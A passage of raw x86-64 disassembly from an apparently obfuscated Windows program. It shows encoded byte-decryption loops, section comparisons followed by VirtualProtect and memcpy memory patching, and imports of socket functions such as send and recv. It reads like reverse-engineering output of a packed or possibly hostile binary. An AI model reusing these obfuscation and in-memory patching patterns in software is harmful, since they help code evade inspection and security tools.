mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140139fe8
movabs rcx, 0xc0ac2cdf9770c5e2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x14013a107
movabs rcx, 0x50663487fde03c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14013a278
movabs rdx, 0xe0203c30644fb2ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a275
movabs rdx, 0x6fda43d8cabf2944
mov ecx, reloc.WS2_32.dll_select
jmp 0x140139b22
movabs rcx, 0xff944b81312e9fba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x14013a1b4
movabs rcx, 0x8f4e5329979e1630
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x14013a21d
movabs rdx, 0x1f085ad1fe0d8ca6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a1f9
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x140139e53
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x63
jmp 0x140139c4a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140139e80
movabs rcx, 0x35bd5f2f98db4852
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x14013a2a4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140139eb0
movabs rdx, 0x16494fdecbfc5b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a107
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140139edc
movabs rcx, 0x671b38e598adf804
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14013a24e
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140139c4a
movabs rdx, 0xd761313d323e818e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a1b4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140139f3c
movabs rcx, 0x509c0ec76548ec7b
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
jmp 0x14013a1f9
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140139f69
movabs rcx, 0x11b3f025cb8b12a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x75
jmp 0x14013a275
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140139f95
movabs rcx, 0x81f9e87d651b9c2d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3b
jmp 0x14013a278
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140139fc1
movabs rdx, 0xf23fe0d4feac25b7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 1
jmp 0x14013a104
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140139ff0
movabs rdx, 0x6285d92c983caf41
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x39
add dil, dl
jmp 0x14013a139
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140139c86
movabs rcx, 0xd2cbd18431cd38cb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x73
jmp 0x14013a2a4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013a04e
movabs rcx, 0x6b7abe5f31b690a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14013a2a4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013a07e
movabs rdx, 0xbc4ca765fe682d42
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a278
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140139cbf
movabs rcx, 0xd1e906ccb19c9e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x14013a1b4
movabs rdx, 0xce3671cb315bf008
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x360]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r8b
jmp 0x14013a24e
movabs rdx, 0x3e7c6a22caec7992
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x360]
add dil, r8b
add dil, dl
movabs rdx, 0xf69f664e97b4be57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x360], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0xaec2627a647d031c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x360], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14013a2a4
movabs rcx, 0x4c3c894dcc4053db
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
jmp 0x14013a275
movabs rcx, 0x6bb0989e991f40c7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
mov eax, 1
jmp 0x14013a225
movabs rcx, 0x8b24a7ef65fe2db3
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
jmp 0x14013a1f9
movabs rcx, 0xaa98b74032dd1a9f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x59
movabs rcx, 0x1613759f6493ab43
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x2b
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x14013a2b8
movabs rdx, 0x59c6ce39662b7e01
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 7
add dil, dl
movabs rcx, 0x86596df6fe2434cd
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x65
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013a2b3
movabs rcx, 0x2868f4836658ce4f
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x29
movzx eax, byte [rbp + r9 + 0x360]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x14013979a
movabs rcx, 0xaa2d02c1640bba59
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6f
jmp 0x140139795
movabs rcx, 0x39e70a69ca7b30cf
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x57
jmp 0x140139785
lea rcx, [rbp + 0x14e37bc]
jmp 0x14013a321
lea rcx, [rbp + 0x1567c81]
jmp 0x14013a321
lea rcx, [rbp + 0x360]
mov rax, rsi
sub rcx, rsi
mov r9d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x14013a341
add rax, r9
test edx, edx
jne 0x14013a32d
xor r13d, r13d
test r8d, r8d
jne 0x14013a39f
mov dword [rbp + 0x11a4], r13d
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
mov rbx, qword [rbp - 0x50]
add rcx, rbx
lea r9, [rbp + 0x11a4]
lea r8d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsi + 0xc]
mov r8d, dword [rsi + 8]
lea rdx, [r12 + rax]
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rbx
lea r9, [rbp + 0x11a4]
mov r8d, dword [rbp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r15w
cmp r15w, word [r14 + 6]
jb 0x14013972a
mov r13, qword [rbp - 0x58]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [rbp + 0x30], 0xfe
mov byte [rbp + Ordinal_50], 0x31
mov byte [rbp + 0x32], Ordinal_200
mov byte [rbp + 0x33], 0x33
mov byte [rbp + 0x34], 0x34
mov byte [rbp + 0x35], 0xa9
xor eax, eax
mov qword [rbp + 0x36], rax
mov word [rbp + 0x3e], ax
movabs rsi, 0x1e3d3b18808e33ba
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
movabs r14, 0x79553d89c8c4782e
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x10
jae 0x14013ad3f
movzx r8d, byte [rbp + r10 + 0x30]
mov r11, r8
cmp rbx, r10
ja 0x14013ad36
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14013a487
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x16
jmp 0x14013a4c1
je 0x14013acb8
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14013ac34
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013abfc
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14013abd1
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14013ab80
cmp r9, r10
ja 0x14013ad2d
lea rax, [r9 + 0x42]
cmp rbx, rax
jae 0x14013a4f8
movabs rcx, 0x7b05d9028baa3e42
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_27
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x14013a52c
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14013ab6f
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013ab4e
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14013ab27
lea rax, [r9 + 6]
cmp rbx, rax
je 0x14013ab00
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x14013a7a5
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14013a77f
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x14013a758
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x14013a731
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14013a70e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013a6e7
lea rbx, [r9 + 0x400]
lea r9, [rbx + 5]
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x14013ad13
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14013acf0
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x14013a619
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x14013a6d2
lea rbx, [r9 + 0x3e8]
lea r9, [rbx + 4]
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x14013a6b7
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x14013a694
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x14013a671
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14013a663
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x14013a640
lea rax, [r9 + 6]
cmp rbx, rax
ja 0x14013a539
lea rbx, [r9 + 1]
lea r9, [rbx + 0x28]
jmp 0x14013a539
movabs rdx, 0xf24a29ebcafd4716
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a458
movabs rcx, 0xd82ec8145d51f210
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14013aba2
lea rdx, [r10 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013ac0e
movabs rcx, 0x6d5002ee56a78558
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14013ac59
movabs rcx, 0x30d58cbd558b1de4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x14013ac86
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14013acd7
lea rcx, [r10 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4a
jmp 0x14013a7f9
movabs rdx, 0xe223160f45fd758c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013acd7
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14013ac1e
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013abef
movabs rdx, 0x3ac9dab83e36a160
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013abc7
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x14013aba2
lea rcx, [r9 + 2]
cmp rbx, rcx
jae 0x14013a861
lea rcx, [r10 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x16
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x14013aad8
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x14013a90d
movabs rcx, 0x349714d6a1e25352
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r8b
cmp rbx, 0x28
jae 0x14013aa85
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14013a9e2
movabs rcx, 0xaf9cedd92d8c9194
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
cmp r9, 0x20
jb 0x14013aa78
movabs rcx, 0xc658bc338a89c1c
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14013aba2
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013a891
movabs rdx, 0xf60bb20517547c84
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013acd7
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013a8c1
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013ac59
cmp rbx, rcx
jne 0x14013a8e9
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14013ac1e
mov cl, dil
lea rax, [r9 + 9]
cmp rbx, rax
jne 0x14013a7c5
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x14013ab8f
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013a939
movabs rcx, 0x71118b07a2febac6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14013aba2
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013a956
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x14013a740
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14013a982
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14013ac21
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14013a9ae
movabs rcx, 0xdbf0502da9a9277e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x14013ac59
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013a7fc
movabs rdx, 0x186ac65eaac58ef2
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013ac86
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013aa0e
movabs rcx, 0xec17640a2ea8f908
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14013acd7
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013aa3a
movabs rcx, 0x2891da3b2fc5607c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14013ac86
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013aa57
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x14013a8a9
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14013a82f
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x14013ab8f
mov byte [rbp + r10 + 0x30], cl
mov dil, cl
jmp 0x14013ace3
movabs rcx, 0x48e001f439c50390
add rcx, r10
mov al, cl
and al, r8b
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r10 + 0x30]
add dl, cl
add dl, r8b
movabs rcx, 0x671d3d0cba53374a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
mov dil, dl
jmp 0x14013ac1e
movabs rcx, 0x855a78253ae16b04
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x30]
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14013ac59
movabs rdx, 0xe5e49e289254aafa
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013ac21
movabs rdx, 0xa96a27f791384386
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013ac1e
movabs rcx, 0xf3fac5648de30d2a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x26
jmp 0x14013abc7
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x14013ab8f
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x30], cl
mov eax, 1
add r9, rax
jmp 0x14013abf4
movabs rcx, 0xc596766f885507e6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
mov eax, 1
sub r10, rax
jmp 0x14013ace8
movabs rdx, 0x4ca18a0d861c38fe
add rdx, r10
mov ecx, 7
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013ace3
mov r8, r11
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r10
mov al, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x30], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14013acd7
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x30]
add rax, r9
add r10, rax
mov eax, 1
add r10, rax
jmp 0x14013a448
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x14013a443
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14013a433
lea rcx, [rbp + 0x14ac128]
jmp 0x14013ad43
lea rcx, [rbp + 0x118f4e2]
jmp 0x14013ad43
lea rcx, [rbp + 0x30]
mov edx, 1
call fcn.1401a2d88
mov byte [rbp + 0x380], 0xfe
mov byte [rbp + 0x381], 0xb1
mov byte [rbp + 0x382], 0x87
mov byte [rbp + 0x383], 0xb3
mov byte [rbp + 0x384], 0xb4
mov byte [rbp + 0x385], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x386], rax
mov dword [rbp + 0x38e], eax
movabs rsi, 0x852f948bcec8ed5a
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
movabs r14, 0x2759038ad0d1750e
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x14013b951
movzx r8d, byte [rbp + r9 + 0x380]
mov rdx, r8
cmp rdi, r9
ja 0x14013b948
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013ae12
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x76
jmp 0x14013ae3f
je 0x14013b8cc
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013b845
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013b7e6
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b78f
cmp r10, r9
ja 0x14013b93f
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x14013ae77
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013aec5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013b77e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013b75a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013b737
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013b714
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013b6f1
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b6cb
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14013b443
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14013b42f
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14013b41b
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b407
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013b3e6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013b3c4
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x14013b3a1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013b37f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013b35d
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14013b33a
mov rdi, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x14013b925
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x14013b903
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x14013b0bd
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x14013b09a
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x14013b077
lea rcx, [r10 + 0x5a]
cmp rdi, rcx
jb 0x14013b2d8
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013b277
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14013b22b
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14013b1fd
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14013aed2
mov rdi, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x14013b1db
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14013b1b5
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x14013b191
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x14013b16b
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14013b14e
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x14013b13a
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14013b11d
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14013b100
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14013b0df
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14013aed2
mov rdi, rcx
lea r10, [rcx + 0x40]
jmp 0x14013aed2
movabs rdx, 0x50d5a7e94718dfde
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x14013aec5
movabs rdx, 0x46767ed1a987052a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14013ae3f
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x14013ade4
movabs rdx, 0x67397bbfb3dbc310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14013b7ae
lea rdx, [r9 + r15]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b7d6
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b777
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14013b7f5
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b830
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b833
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14013b70d
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
